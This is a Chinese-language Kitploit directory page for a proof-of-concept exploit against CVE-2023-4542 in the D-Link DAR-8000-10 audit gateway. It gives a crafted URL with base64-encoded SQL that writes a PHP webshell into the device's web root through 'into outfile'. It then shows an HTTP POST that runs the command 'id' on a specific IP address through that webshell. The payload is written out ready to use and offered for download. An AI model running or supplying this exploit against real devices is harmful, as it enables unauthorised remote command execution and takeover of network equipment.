Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4542 — CVE-2023-4542的概念验证漏洞利用程序,针对D-Link DAR-8000-10中的远程代码执行漏洞,演示了通过SQL注入写入Webshell并执行命令的过程。 | Kitploit
工具/GitHubGitHub/pumpkinbridge/cve-2023-4542
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubpumpkinbridge/cve-2023-4542

CVE-2023-4542

CVE-2023-4542的概念验证漏洞利用程序,针对D-Link DAR-8000-10中的远程代码执行漏洞,演示了通过SQL注入写入Webshell并执行命令的过程。

查看仓库
212年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

POC

D-LINK-DAR-8000-10 上网行为审计网关存在远程命令执行漏洞

官方网站:http://www.dlink.com.cn/

版本:D-LINK DAR-8000-10

查看登录页面。

图片

构造URL: https://ip:port/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn 下载后 然后执行POC:

root@kitploit:~
POST /app/sys1.php HTTP/1.1
Host: 60.22.74.195:8443
Cookie: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

cmd=id

图片

下载工具